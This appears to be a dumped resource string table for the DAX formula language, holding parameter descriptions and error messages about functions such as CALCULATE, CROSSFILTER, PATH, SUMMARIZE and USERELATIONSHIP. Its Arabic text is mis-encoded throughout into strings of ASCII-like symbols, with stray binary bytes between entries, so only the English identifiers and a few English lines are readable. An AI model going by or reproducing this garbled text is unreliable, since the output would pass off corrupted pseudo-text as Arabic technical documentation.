ColumnName-9EH/ J-*HJ 9DI #1B'E **H'AB E9 9JF) EF 'DED!.YJB/1 'D'F-1'A 'DE9J'1J (F'!K 9DI 'DE-*HI ('DC'ED 'D0J JF*, 9F *BJJE *9(J1 DCD 5A AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.IJB/1 'D'F-1'A 'DE9J'1J (F'!K 9DI 9JF) *F*, 9F *BJJE *9(J1 DCD 5A AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.LJ-3( 'DA1B '3*F'/K' %DI 'DED! ('DC'ED. J*,'GD 'DBJE 'DEF7BJ) H'DF5 AJ 'DED!.
ColumnName!9EH/ J-*HJ 9DI BJE **H'AB E9 ED!.AJB/1 'DA1B (F'!K 9DI 9JF). J*,'GD 'DBJE 'DEF7BJ) H'DF5 AJ 'D9JF).
ColumnName19EH/ J-*HJ 9DI BJE 9//J) **H'AB E9 9JF) EF 'DED!.MJB/1 'DA1B (F'!K 9DI 'DE-*HI ('DC'ED 'D0J JF*, 9F *BJJE *9(J1 DCD 5A AJ ,/HD,'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.A*B/J1 'DA1B '3*F'/K' %DI 9JF) *F*, EF *BJJE *9(J1 DCD 5A AJ ,/HD,'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.PA'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.Y%1,'9 'DE9/D 'D/'.DJ DD%1,'9 D,/HD EF 'D*/AB'* 'DFB/J) 'D*J DJ3 EF 'D61H1J #F *CHF /H1J).'D*H'1J.C*9(J1 E7DH( *BJJEG DCD 5A AJ 'D,/HD 'D0J 3JF*, ,/HD *H'1J. 'D3/'/.'D*HB9.'.*J'1J. 'D1BE 'D0J **HB9G B1J( EF F*J,) XIRR.'D,/HDC'D,/HD 'D0J J6E 'D5AHA 'D*J 3J*E *BJJE *9(J1'* 'DBJE H'D*H'1J. DG'.'DBJEJ*9(J1 E7DH( *BJJEG DCD 5A AJ 'D,/HD 'D0J 3JF*, 3D3D) EF 'D*/AB'* 'DFB/J).8J*E %1,'9 'DBJE) 'D-'DJ) 'D5'AJ) D,/HD 'D*/AB'* 'DFB/J).'D*H'1J.C*9(J1 E7DH( *BJJEG DCD 5A AJ 'D,/HD 'D0J 3JF*, ,/HD *H'1J. 'D3/'/.'DE9/D/E9/D 'D.5E 'DE7DH( *7(JBG 9DI 'D*/AB'* 'DFB/J).'D,/HDC'D,/HD 'D0J J6E 'D5AHA 'D*J 3J*E *BJJE *9(J1'* 'DBJE H'D*H'1J. DG'.'DBJEJ*9(J1 E7DH( *BJJEG DCD 5A AJ 'D,/HD 'D0J 3JF*, 3D3D) EF 'D*/AB'* 'DFB/J).
ColumnName9EH/ AJ 'D,/HD 'D#3'3J FA3G.$*-HJD *9(J1 %DI FH9 'D(J'F'* 'DE-//.*9(J1*9(J1 E7DH( *-HJDG.DataTypeKB'&E) *9/'/ *-*HJ 9DI: 9// 5-J- E2/H, 3D3D) EF7BJ 9ED) 'D*'1J. H'DHB*.0E3- 9H'ED 'D*5AJ) EF 'D,/'HD #H 'D#9E/) 'DE-//).
ColumnName9EH/ AJ 'D,/HD 'D#3'3J FA3G.TableNameOrColumnName'3E 'D,/HD #H 'D9EH/ 'D-'DJ.<%F4'! ,/HD ED.5 DD%,E'DJ'* 'DE7DH() 9(1 E,EH9) EF 'DE,EH9'*.'D*9(J1*9(J1 'D9EH/ 'D,/J/.FilterTable-*9(J1 J91A 'D,/HD 'D0J 3J*E %1,'9 'D5AHA EFG.GroupBy_ColumnName�9EH/ E7DH( 'D*,EJ9 HABK' DG #H '3*/9'! H8JA) ROLLUP HH8JA) ISSUBTOTALCOLUMNS D*-/J/ B'&E) ('D#9E/) 'DE7DH( *,EJ9G' ('3*./'E 'D%,E'DJ'* 'DA19J).'D'3E'3E 9EH/ E7DH( %6'A*G.TCreate a table but make some columns depend on columns from other tables in context.
ColumnName+A column from another table in the context.'D,/HD*An expression that defines the table data.\J4*ED 'D9EH/ 'DE-3H( '%{dimension/}[%{calccolumn/}]' 9DI .7# AJ (F'! 'D,ED).#/.D 5J:) 5'D-).%*E 'C*4'A *(9J) /'&1J): %{strCycle/}.&D' JECF 'D9+H1 9DI 'D,/HD '%{table/}'.`D' JECF 'D9+H1 9DI 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' #H 1(E' *E '3*./'EG AJ G0' 'D*9(J1.JD' JECF 'D9+H1 9DI 'D9EH/ '%{column/}' #H 1(E' *E '3*./'EG AJ G0' 'D*9(J1.m*E '3*./'E 'D/'D) '%{function/}' AJ *9(J1 True/False J,1J '3*./'EG C*9(J1 9'ED *5AJ) ,/HD. HG0' :J1 E3EH- (G.�J4*ED 'D*9(J1 9DI 'D9/J/ EF 'D#9E/) %D' #FG D' JECF '3*./'E %D' 9EH/ H'-/ AJ *9(J1 True/False 'D0J J*E '3*./'EG C*9(J1 9'ED *5AJ) ,/HD.�D' J-// 'D*9(J1 True/False #J 9EH/. J,( 9DI CD *9(J1 True/False *E '3*./'EG C*9(J1 9'ED *5AJ) ,/HD #F J4J1 %DI 9EH/ H'-/ AB7 ('D6(7.�J,( 1(7 ,EJ9 'DH3J7'* 6EF /'D) ALLEXCEPT (#H 'DE*6EF)) ('D,/HD 'D0J J*E '3*./'EG CH3J7) #HDI. AJ -'D) H,H/ 9D'B) H'-/ %DI 9/J/ A%F 'D,/HD 'D0J J*E '3*./'EG C#HD H3J7) J,( #F JCHF AJ ,'F( "9/J/" (G0G 'D9D'B).�'D*9(J1 'D0J BE* (*-/J/G CH3J7) DD/'D) ALLEXCEPT J4*ED 9DI ,EJ9 'D#9E/) AJ 'D,/HD H('D*'DJ D' JECF %1,'9 #J BJE. -// #9E/) #BD.pJ3*/9J 'D*9(J1 C'&FK' *E *91JAG 9F 71JB '3*./'E 96H MDX E-3H( #H F5. HE+D *DC 'DC'&F'* :J1 E9*E/ AJ *9(J1'* DAX.MJ4J1 'D*9(J1 %DI #9E/) E*9//). D' JECF *-HJD 'D#9E/) 'DE*9//) %DI BJE) 1BEJ).�D' JECF *-/J/ BJE) H'-/) DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}'. JECF #F J-/+ G0' 9F/E' *BHE 5J:) BJ'3 ('D%4'1) %DI ,/HD J-*HJ 9DI BJE E*9//) /HF /'D) *,EJ9 E+D min #H max #H count #H sum DD-5HD 9DI F*J,) EA1/).='D/'D) 'DE3*./E) AJ G0' 'D*9(J1 DJ3* /'D) 5'D-) #H '3E EBJ'3.FJ,( #F *CHF 'DH3J7) 'D+'FJ) DD/'D) EARLIER 9//K' 5-J-K' #C(1 EF 'D5A1.PA1*4J1 EARLIER/EARLIEST %DI 3J'B 5A 3'(B :J1 EH,H/.M'DH3J7) 'D#HDI D@ EARLIER/EARLIEST DJ3* E1,9 9EH/ 5'D-K' AJ 3J'B 'D5A 'D3'(B.(D' JECF *6EJF 'D/'D*JF EARLIER/EARLIEST.i%E' #F 'D9EH/ '%{table/}[%{column/}]' :J1 EH,H/ #H #FG D' J4*ED 9DI 9D'B) (#J ,/HD E*'- AJ 'D3J'B 'D-'DJ.<*E 'D*2HJ/ (,/HD 0J BJE E*9//) -J+E' C'F 'DE*HB9 BJE) H'-/).@'D'3E 'DE$GD '%{table/}[%{column/}]' :J1 E3EH- (G AJ G0' 'D3J'B.�*4*ED H3J7) 'D/'D) '%{name/}' 9DI FH9 (J'F'* .7# #H C'F* 'DF*J,) C(J1) DD:'J) #H 5:J1) DD:'J). %0' C'F 'DE*HB9 #F *CHF 'DH3J7) *'1J.K' A%F 'D*'1J. J,( #F JB9 (JF 1 E'13 1900 H31 /J3E(1 9999.9F*J,) 'D/'D) '%{name/}' C(J1) DD:'J) (*,'H2 'D-/ 'D#9DI).9F*J,) 'D/'D) '%{name/}' 5:J1) DD:'J) (*,'H2 'D-/ 'D#/FI).0-/+* B3E) 9DI 5A1 #+F'! *BJJE 'D/'D) '%{name/}'.,DE J*E *HAJ1 H3J7) E7DH() DD/'D) '%{name/}'.E*4*ED H3J7) /'D) '%{name/}' 9DI FH9 (J'F'* .7# #H 9DI BJE) :J1 5'D-).W*4*ED H3J7) /'D) '%{name/}' 9DI FH9 (J'F'* .7# #H 'DF*J,) C(J1) DD:'J) #H 5:J1) DD:'J).-E1,9 'DF7'B Null 9F/ *BJJE 'D/'D) '%{name/}'.E*E %/.'D '3E /'D) #H '3E C'&F :J1 5'D- #+F'! *BJJE 'D/'D) '%{name/}'.5*E *-/J/ E1,9 :J1 5'D- #+F'! *BJJE 'D/'D) '%{name/}'.*E* EH',G) B3E) 9DI 'D5A1.::J1 E3EH- (H3J7'* ,/HD E*9//) AJ 'D/'D) ALL/ALLNOBLANKROW.SJ,( #F *CHF ,EJ9 H3J7'* 'D#9E/) DD/'D) ALL/ALLNOBLANKROW/ALLSELECTED EF FA3 'D,/HD.2:J1 E3EH- (H3J7'* *'1J. FG'J) 'D9'E AJ G0G 'D/'D).4D' J3E- %D' (BJE) *'1J. +'(* CH3J7) *'1J. FG'J) 3F).ND' *B(D 'D/'D*'F DatesBetween HDatesInPeriod %D' E1,9 9EH/ 'D*'1J. C#HD H3J7).?*9ED 'D/'D) '%{function/}' AB7 E9 *-/J/'* 'D*H'1J. 'DB1J() AB7.SD' JECF '3*./'E 'D9EH/ 'DE-3H( '%{dimension/}[%{calccolumn/}]' CEA*'- #3'3J DD,/HD.e*E *-/J/ *9(J1 ,/HD J4*ED 9DI #C+1 EF 9EH/ AJ '3*/9'! 'D/'D) '%{function/}'. HG0G 'D9EDJ) :J1 E9*E/).[*4*ED 'DH3J7*'F 'D+'FJ) H'D+'D+) DD/'D) IF 9DI #FH'9 (J'F'* E.*DA). G0G 'D9EDJ) :J1 E9*E/).qD' JECF *-/J/ 'DBJE) D@ '%{column/}'. %E' #F '%{column/}' :J1 EH,H/ #H D' JH,/ 5A -'DJ D9EH/ ('D'3E '%{column/}'.CA4D -D 'D'3E '%{name/}'. DJ3 ,/HD'K #H E*:J1K' #H '3E H8JA) 5'D-K'.g*E *-/J/ 9EH/ *'1J. J4*ED 9DI *H'1J. E*C11) AJ 'D'3*/9'! DD/'D) '%{function/}'. G0G 'D9EDJ) :J1 E9*E/).V*E *-/J/ FH9 A'5D 2EFJ 'DAY' AJ '3*/9'! 'D/'D) '%{function/}'. G0G 'D9EDJ) :J1 E9*E/).PAY'D9EH/ 'DE-// AJ '3*/9'! 'D/'D) '%{function/}' DJ3 EF 'DFH9 DATE. G0G 'D9EDJ) :J1 E9*E/).:**HB9 'D/'D) RELATED E1,9 9EH/ *'E 'D*#GJD CH3J7) .'5) (G.D' J9/ G0' *9(J1 DAX 5'D-K'.DD' JECF %F4'! 'DEBJ'3 '%{name/}' F81K' DH,H/ 9EH/ (FA3 'D'3E ('DA9D.w#4'1 'D*9(J1 %DI 'D9EH/ 'DE-3H( '%{table/}'[%{column/}] 'D0J D' J4*ED 9DI #J (J'F'* D#FG (-',) %DI %9'/) -3'( #H *-/J+.n#4'1 'D'3*9D'E %DI 'D9EH/ 'DE-3H( '%{table/}'[%{column/}] 'D0J D' J4*ED 9DI #J (J'F'* D#F GF'C .7# AJ 'D*9(J1.w#4'1 'D'3*9D'E %DI 'D9EH/ 'DE-3H( '%{table/}'[%{column/}] 'D0J D' J4*ED 9DI #J (J'F'* D#F *BJJE #-/ 'D5AHA *3(( AJ .7#.�#4'1 'D'3*9D'E %DI 'D9EH/ '%{table/}'[%{column/}] 'D0J J9*E/ 9DI 9EH/ ".1 #H 9D'B) #H EBJ'3 DJ3 AJ -'D) 5'D-). E9DHE'* %6'AJ): '%{message/}'.CJ*901 9DI 'D/'D) %{function/} 'D9ED E9 'DBJE EF 'DFH9 %{datatype/}.-*E* EH',G) *E+JD 1BEJ :J1 5'D- DBJE) 'D*'1J..CF*J,) 9EDJ) 'D*-HJD #H 'DDH:'1J*E %E' C(J1) DD:'J) #H 5:J1) DD:'J).DD' JECF 'D9+H1 9DI F5 'D(-+ 'DEB/E DD/'D) '%{name/}' AJ 'DF5 'DE-//.AH',G* 'D/'D) '%{name/}' F5K' J*,'H2 'D-/ 'D#B5I 'DE3EH- (G DD7HD.[J,( #F *CHF 'DH3J7) 'D#.J1) H'-/) EF G0G 'DCDE'* 'D#3'3J): DAY #H MONTH #H QUARTER #H YEAR.PAJ9*E/ 'DEBJ'3 '%{deptable/}'[%{depcolumn/}] 9DI EBJ'3 ".1 ('D'3E '%{srctable/}'[%{srccolumn/}] H'D0J J4*ED 9DI 'D.7#: %{error/}~J9*E/ 'DEBJ'3 '%{deptable/}'[%{depcolumn/}] 9DI EBJ'3 ".1 ('D'3E '%{srctable/}'[%{srccolumn/}] H'D0J J4*ED 9DI .7# AJ 'D*(9J).9.7# AJ 'D-3'( AJ 'D9EH/ '%{dimension/}'[%{calccolumn/}]: 3.7# AJ 'D-3'( AJ 'DEBJ'3 '%{table/}'[%{measure/}]: FD' JECF DD/'D) '%{func/}' %6'A) 'D9EH/ [%{column/}] D#FG EH,H/ ('DA9D.LD' *3E- 'D/'D) %{funcName/} (H,H/ 9EH/JF (FA3 'D'3E '%{table/}'[%{column/}].T9// 'DH3J7'* :J1 5'D-. J,( #F *4*ED 'D/'D) %{funcName/} 9DI BJE) DCD E1,9 9EH/ E-//.J9// 'DE9DE'* :J1 5'D-. J,( #F *4*ED 'D/'D) SWITCH 9DI BJE) DCD -'D) E-//).7**HB9 'D/'D) %{funcName/} '3E 9EH/ C'3E H3J7) %{iArg/}.8**HB9 'D/'D) %{funcName/} E1,9 9EH/ C1BE H3J7) %{iArg/}.dJ,( #F J4*ED 'D9EH/ '%{colName/}' 'D0J *E* %6'A*G EF BP(D 'D/'D) '%{funcName/}' 9DI *9(J1 1BEJ E-//.6DE **E 'D%4'1) %DI 'DE9DE) %{paramName/} AJ 'D'3*9D'E..D' J4*ED 'DE*:J1 [%{varName/}] 9DI BJE) E91A).+.7# #+F'! 'D-3'( AJ 'DE*:J1 [%{varName/}]: 5'DE9DE) 'D*J **,'H2 'DE*:J1 [%{varName/}] DJ3* 1BEJ).AJ4*ED 'DE*:J1 %{varNameEscaped/} 9DI FH9 :J1 E91HA '%{varType/}'.OD' JECF '3*./'E *9(J1'* 'D,/HD 'D*J *4*ED 9DI %,E'D'* A19J) AJ 3J'B 9'ED *5AJ).ID' JECF 'D%4'1) E1,9JK' %DI ,/HD #3'3 AJ '3*9D'E EVALUATE D#FG :J1 E-//.I9EH/ 'D(-+ '%{name/}' 9F LOOKUPVALUE :J1 EH,H/ AJ FA3 'D,/HD C9EH/ F*J,).2D' *B(D 'D/'D) %{func/} %D' E1,9 9EH/ (3J7 CH3J7).`J,( #F *4*ED 'D/'D) LOOKUPVALUE 9DI #2H', EF #9E/) 9'ED 'D*5AJ) H*9(J1 9'ED 'D*5AJ) 'DE7'(B DG'.6'D*9(J1 'DE-// AJ 'D'3*9D'E DJ3 *9(J1K' 5'D-K' DD,/HD.QDE J*E 'D9+H19DI 'D9EH/ '%{column/}' 'DE-// AJ 'D/'D) '%{func/}' AJ ,/HD 'D%/.'D.>*E *-/J/ 'D9EH/ '%{column/}' #C+1 EF E1) AJ 'D/'D) '%{func/}'.ZD' JECF #F JCHF 9// 'D*9(J1'* 'DE-//) AJ 9('1) START AT #C(1 EF 9// 'D*9(J1'* AJ ORDER BY.4J,( #F *-// 'DH3J7) 'D#HDI D@ '%{function/}' 9EH/K'.PD' JECF DD/'D) '%{func/}' %6'A) 'D9EH/ %{column/} D#FG J-ED FA3 '3E 9EH/ EH,H/.[D' *9*E/ 'D/'D) SUMMARIZE #C+1 EF E,EH9) #9E/) %,E'D'* A19J) H'-/) E-//) AJ 'D9('1) ROLLUP.PBJE) :J1 E*HB9) DDH3J7) TIES AJ 'D/'D) RANKX. 'DBJE 'DE3EH- (G' GJ: SKIP DENSE.0*B(D 'D/'D) %{func/} E1,9 9EH/ AB7 CH3J7) +'FJ).XD' JECF '3*./'E 'D/'D) IsSubtotal %D' AJ *9(J1 9EH/ *E* %6'A*G EF BP(D 'D/'D) Summarize..D' JECF *-DJD E1,9 'D9EH/ 'D:'E6 [%{column/}].9D' JECF *-DJD E1,9 'D9EH/ 'D:'E6 '%{table/}'[%{column/}]..D' J7'(B FH9 'DE9DE) %{paramName/} FH9 'D9EH/.3E9DE'* 'D,/HD :J1 E9*E/) AJ '3*9D'E'* DAX Evaluate.{BJE) :J1 E*HB9) DDH3J7) ORDER AJ 'D/'D) %{funcName/}. '3*./'E 0/FALSE/DESC DD*1*J( 'D*F'2DJ #H 1/TRUE/ASC DD*1*J( 'D*5'9/J.W*9ED '3*9D'E'* DAX Evaluate AB7 9DI BH'9/ 'D(J'F'* 'D*J *4*ED 9DI EC9( H'-/ AB7 ('D6(7.mD' J9*(1 [%{column/}] E1,9K' 5'D-K' D9EH/ AJ ,/HD. 'D1,'! %/.'D '3E ,/HD #E'E '3E 'D9EH/ #H %5D'- '3E 'D9EH/.�J,( #F *4*ED CD BJE) AJ '%{table1/}'[%{column1/}] 9DI FA3 'DBJE) AJ '%{table2/}'[%{column2/}]. *4*ED 'DBJE) '%{idvalue/}' 9DI 'D9/J/ EF 'DBJE.J,( #F *CHF 'D#9E/) 'DE-//) AJ 'D/'D) PATH EF FA3 'D,/HD HDG' FA3 FH9 'D(J'F'* H'DJ J,( #F JCHF %E' 9//K' 5-J-K' #H F5K'. AEF :J1 'D5-J- 'D%4'1) E1,9JK' %DI FA3 'D9EH/ E1*JF. D' JD(J 'D9EH/'F '%{table1/}'[%{column1/}] H'%{table2/}'[%{column2/}] G0G 'DE*7D('*.�J,( 9DI 'DBJE) '%{idvalue/}' AJ '%{table1/}'[%{column1/}] #F *H,/ #J6K' AJ '%{table2/}'[%{column2/}].  'D1,'! %6'A) 'D(J'F'* 'DEABH/) H%9'/) 'DE-'HD).p9+1* 'D/'D) PATH 9DI 'D*C1'1 'D*'DJ '%{loop/}' AJ 'D9EH/JF '%{table1/}'[%{column1/}] H'%{table2/}'[%{column2/}].�D' JECF #F *9ED 'D/'D) PATH E9 BJE E+D '%{incompatvalue/}' 'D*J *4*ED 9DI E3'1 1#3J ('|') D#F G0' 'D-1A J*E '3*./'EG CA'5D AJ 'DE3'1 'D0J J*E %1,'9G.�J,( #F *CHF 'DH3J7) 'D#.J1) DD/'D*JF PathItem #H PathItemReverse 0 D@ TEXT #H 1 D@ INTEGER. CE' JECF #J6K' '3*./'E 'DCDE*JF 'TEXT' H'INTEGER' 9DI 'D*H'DJ.V*4*ED 'DH3J7*'F 'D#HDI H'D+'FJ) DD/'D) IFERROR 9DI #FH9 (J'F'* E.*DA). HG0' :J1 E9*E/.bJ9*(1 FH9 'D(-+ '%{name/}' D@ %{funcName/} EF FH9 F5 %D' #F BJE) 'D(-+ 'DE7'(B) DJ3* EF FH9 Text.PA0.7# AJ 'D-3'( AJ 'D9EH/ 'DE-3H( '%{dimension/}':g**HB9 'D/'D) %{funcName/} E1,9 9EH/ E$GQD'K ('DC'ED C1BE H3J7) %{iArg/} AJ -'D) '3*./'EG 6EF EVALUATE.=J*901 9DI 'D/'D) %{funcName/} *1*J( BJE :J1 F5J) AJ 5A'&A F5.=D' JECF 'D*91A 9DI 'D,/HD 'D0J J4*ED 9DI 'D9EH/ [%{column/}].YD' JECF 'D9+H1 9DI 'D9D'B) 0'* 'DE91A '%{relationship/}' AJ 'D,/HD 0J 'DE91A '%{table/}'.Q9EH/ 'D(-+ '%{name/}' D@ LOOKUPDECISIONTABLE :J1 EH,H/ AJ FA3 'D,/HD C9EH/ F*J,).GJ,( #F *CHF ,EJ9 *9(J1'* 'DF*'&, H'D*9(J1'* 'D#.1I EF FA3 FH9 'D(J'F'*.qD' JECF '3*./'E 'D/'D) ALLSELECTED (/HF 'DE9DE'* C*9(J1 ,/HD. H0DC -J+ JECF #F *8G1 AB7 C9'ED *5AJ) AJ CALCULATE.;*B(D 'D/'D) %{funcName/} E1,9 9EH/ AB7 C9// H3J7) %{iArg/}.FH9 +'(* :J1 E*HB9.t#4'1 'D'3*9D'E E1,9JK' %DI *3D3D GJCDJ '%{table/}'[%{hierarchy/}] D' J4*ED 9DI #J (J'F'* D#FG J,( E9'D,*G #H *-/J+G.u#4'1 'D'3*9D'E E1,9JK' %DI *3D3D GJCDJ '%{table/}'[%{hierarchy/}] J9*E/ 9DI 9EH/ #H 9D'B) #H EBJ'3 DJ3 AJ -'D) 5'D-).[D' JECF 'D9+H1 9DI *3D3D GJCDJ DE3*./E ('DE91A '%{hierarchy/}' AJ ,/HD ('DE91A '%{table/}'.PAXD' JECF 'D9+H1 9DI *3D3D GJCDJ D3E) ('DE91A '%{hierarchy/}' AJ ,/HD ('DE91A '%{table/}'.PD' JECF '3*./'E 'D/'D) ROLLUP %D' AJ E9DE'* groupBy_ColumnName DD/'D) SUMMARIZE.8D' JECF '3*./'E 'D/'D) ROLLUPGROUP %D' AJ 'D/'D) ROLLUP.?D' JECF '3*./'E 'D/'D) USERELATIONSHIP %D' AJ 'D/'D) CALCULATE.QD' JECF #F *3*./E 'D/'D) USERELATIONSHIP %D' E1,9J 9EH/ '+FJF E4'1CJF AJ 'D9D'B).=D' JECF *6EJF USERELATIONSHIP #H CROSSFILTER #C+1 EF 10 E1'*.F*H,/ E3'1'* :'E6) (JF '%{table1/}' H'%{table2/}': %{path1/} H%{path2/}L.7# AJ 'D-3'( AJ AllowedRowsExpression DD,/HD '%{table/}' ('D/H1 '%{role/}'.�'D/H'D CUSTOMDATA HUSERNAME HUSERCULTURE HUSERPRINCIPALNAME :J1 E/9HE) AJ 'D#9E/)/'D,/'HD 'DE-3H(). D' JECF '3*./'E G0G 'D/H'D %D' AJ Measures #H AJ AllowedRowsExpression.AD' **HA1 'D/'D*'F UseRelationship() HCrossFilter() AJ G0' 'D3J'B.�D' JECF '3*./'E 'D/'D*JF UseRelationship() HCrossFilter() 9F/ '3*9D'E '%{table1/}' D#FGE' EBJ/*'F ('D#E'F 9DI E3*HI 'D5A 'DE-// AJ '%{table2/}' #H 'D,/'HD 'DE*9DB).J%F *9(J1 #E'F E3*HI 'D5A 'DE91QA DD,/HD '%{table/}' DJ3 EF FH9 True/False.a*E* EH',G) .7# #+F'! *BJJE *9(J1 #E'F E3*HI 5A E91A AJ 'D,/HD '%{table/}'. 13'D) 'D.7#: %{error/}�D' JECF '3*./'E 'D/'D) KEEPFILTERS %D' CH3J7) 9'ED *5AJ) 9'DJ 'DE3*HI CALCULATE HCALCULATETABLE #H E9 H3J7) ,/HD D/'D) *BHE (A-5 DD,/HD.9JECF AB7 '3*./'E /'D) SAMPLE E9 H3J7) -,E 9JF) :J1 3'D().PA:D' JECF 'D%P4'1) (H6H- %DI RowNumber AJ 'DH69 DirectQuery.AD' JO3E- ('D9D'E'* 'D.'5) C1BE H3J7) %ld{arg/} DD/'D) '%{func/}'.eD' JECF '3*./'E 'D/'D) '%{func/}' E9 'D#9E/) 'D*J *E* %6'A*G' EF BP(D 'D/'D) ADDCOLUMNS #H SUMMARIZE.�#4'1 'D*9(J1 E1,9JK' %DI 9D'B) (JF '%{FKTable/}'[%{FKColumn/}] H'%{PKTable/}'[%{PKColumn/}] H'D*J D' *4*ED 9DI #J (J'F'* D#FG J,( %9'/) -3'(G'.�#4'1 'D'3*9D'E E1,9JK' %DI 9D'B) (JF '%{FKTable/}'[%{FKColumn/}] H'%{PKTable/}'[%{PKColumn/}]/ H'D*J *9*E/ 9DI 9EH/ DJ3 AJ -'D) 5'D-).A/H1) 9D'B) **6EF ,/'HD '%{tables/}' *E 'C*4'AG' AJ 'D3J'B 'D-'DJ.3J*E '9*E'/ '3*9D'E DAX AB7 D'C*4'A E9DHE'* 'D*(9J).RJ,( #F *CHF 'DF*J,) 'D(/JD) 'D*J J*E %1,'9G' AJ -'D'* 'DB3E) 9DI 5A1 1BEK' +'(*K'.�J-*HJ 'D71'2 E*9// 'D#(9'/ 9DI C'&F'* D' JECF 'D*9(J1 9FG' AJ 71JB) 916 E(H(). D' JECF %F4'! 'D,/HD '%{tablename/}' D#FG EH,H/ ('DA9D AJ 'D71'2.�J-*HJ 'D71'2 E*9// 'D#(9'/ 9DI C'&F'* D' JECF 'D*9(J1 9FG' AJ 71JB) 916 E(H(). *E* ('DA9D 'DE7'D() ('DBJ'3 '%{measure/}' CBJE) .'5) (@  KPI '%{KPI1/}' HD' J3*7J9 KPI '%{KPI2/}' '3*./'E G0' 'DBJ'3 CBJE).CD' JECFC %F4'! BJ'3 DAX '[%{measure/}]' AJ 'D71'2'* E*9//) 'D#(9'/.xJ9/ 'D9EH/ [%{name/}] ,2!K' EF EA*'- E1CQ( %D' #FG D' J*E *6EJF C'A) #9E/) 'DEA*'- 'DE1CQ( AJ 'D*9(J1 #H *9(J1G 'D*'(9.;D' JECF '3*./'E PATH DD/'D) DAX 6/ 'D71'2'* E*9//) 'D#(9'/.�J*E /9E BJ'3'* DAX AB7 9F/E' *CHF Analysis Services AJ H69 ,/HDJ #H 9F/E' J*E *91JAG' /'.D 9('1) *BJJE DAX #+F'! 'D'3*9D'E 9F 'D71'2'* E*9//) 'D#(9'/.-D' J3*7J9 (J'F 'D*BJJE %1,'9 ,/HD (/HF #9E/).PA�D' J*E /9E (J'F'* 'D*91JA 'D,/HDJ) H'3*9D'E'* DAX AJ -'D) H,H/ E9'ED) :J1 E9JF) 9DI ,D3) 'D9ED. JO1,I 'D'*5'D ('DE3$HD D/JC DE2J/ EF 'DE9DHE'*.�D' J*E /9E (J'F'* 'D*91JA 'D,/HDJ) H'3*9D'E'* DAX 9F/E' J*E *91JA #E'F 'D.DJ) D,D3) 'D9ED G0G. JO1,I 'D'*5'D ('DE3$HD D/JC DE2J/ EF 'DE9DHE'*.�D' J*E /9E (J'F'* 'D*91JA 'D,/HDJ) H'3*9D'E'* DAX AJ -'D) H,H/ -3'('* #(9'/ E91QA) D,D3) 'D9ED G0G #H F7'B 'D'3*9D'E G0'. JO1,I 'D'*5'D ('DE3$HD D/JC DE2J/ EF 'DE9DHE'*.�D' J*E /9E -3'('* DAX 9DI ,D3) 'D9ED H'DF7'B'* 'D9EHEJ) DD71'2'* E*9//) 'D#(9'/. JO1,I 'D'*5'D ('DE3$HD D/JC DE2J/ EF 'DE9DHE'*.�*4*ED H3J7) 'D/'D) 9DI FH9 (J'F'* :J1 5-J- #H 'DF*J,) C(J1) DD:'J) #H 5:J1) DD:'J). %0' C'F 'DE*HB9 #F *CHF 'DH3J7) *'1J.K' A%F 'D*'1J. J,( #F JB9 (JF 1 E'13 1900 H31 /J3E(1 9999.�D' *BHE 9EDJ'* EB'1F) DAX (/9E BJE 'DEB'1F) EF FH9 %{type1/} E9 BJE EF FH9 %{type2/}. ,1Q( '3*./'E 'D/'D) VALUE #H FORMAT D*-HJD %-/I 'DBJE*JF.�D' */9E 'D/'D) '%{funcName/}' EB'1F) BJE EF FH9 %{type1/} E9 BJE EF FH9 %{type2/}. ,1Q( '3*./'E 'D/'D) VALUE #H FORMAT D*-HJD %-/I 'DBJE*JF.MD' JECF '3*./'E 'D*9(J1'* 'D*J *F*, FH9 (J'F'* E*:J1 D*91JA 'D#9E/) 'DE-3H().?J,( #F *CHF CD H3J7) ,/HD ('DH8JA) '%{func/}' (FA3 9// 'D#9E/).LD' JECF '3*./'E 'D#9E/) 'DEH,H/) AJ /'D) SELECTCOLUMNS AJ 3J'B 9'ED 'D*5AJ).GE3EH- ('DBJE 'D+'(*) AB7 ('9*('1G' 'D#A6D E9 *.7J 'DH3J7) D@ SUBSELECT.[D' JECF '3*./'E /'D) '%{function/}' AJ *9(J1 RETURN D9('1) DrillThrough E9 'DFEH0, 'D,/HDJ.DD' JECF '3*./'E 'D#9E/) 'DEH,H/) AJ /'D) UNION AJ 3J'B 9'ED 'D*5AJ).>'D-/ 'D#/FI #H 'D-/ 'D#B5I EF 'DBJE 'DEF7BJ) :J1 E/9HE -'DJK'.zJ*HB9 #F *CHF E3'1'* 'D1(7 4,1) %D' #F 'D,/HD '%{table1/}' J-*HJ 9DI E3'1J 1(7 DD,/HD '%{table2/}': %{path1/} H%{path2/}.LD' JECF %F4'! 'DE*:J1 %{name/}' F81K' DH,H/ ,/HD #H E*:J1 (FA3 'D'3E ('DA9D.PAOD' JECF '3*./'E E*:J1 'D,/HD '%{name/}' AJ 'D3J'B 'D-'DJ D*HB9 8GH1 ,/HD #3'3J.KD' JECF 'D9+H1 9DI B3E ('DE91A '%{partition/}' AJ ,/HD ('DE91A '%{table/}'.7D' JECF '3*./'E /'D) CROSSFILTER %D' AJ /'D) CALCULATE.GD' JECF #F *3*./E 'D/'D) CROSSFILTER %D' E1,9J 9EH/ E4'1CJF AJ 'D9D'B).�J,( #F *CHF 'DH3J7) 'D+'D+) DDH8JA) CROSSFILTER ('DBJE) 0 D@ None #H 1 D@ OneWay #H 2 D@ Both. CE' #FG EF 'DEECF '3*./'E 'DCDE'* None OneWay Both.tD' JECF *-/J/ '*,'G 'D*5AJ) 'D*B'79J) D9D'B) E' (('3*./'E /'D) CROSSFILTER) #C+1 EF E1) /'.D /'D) CALCULATE 'DA1/J).i*E '3*./'E /'D*J USERELATIONSHIP HCROSSFILTER /'.D /'D) CALCULATE 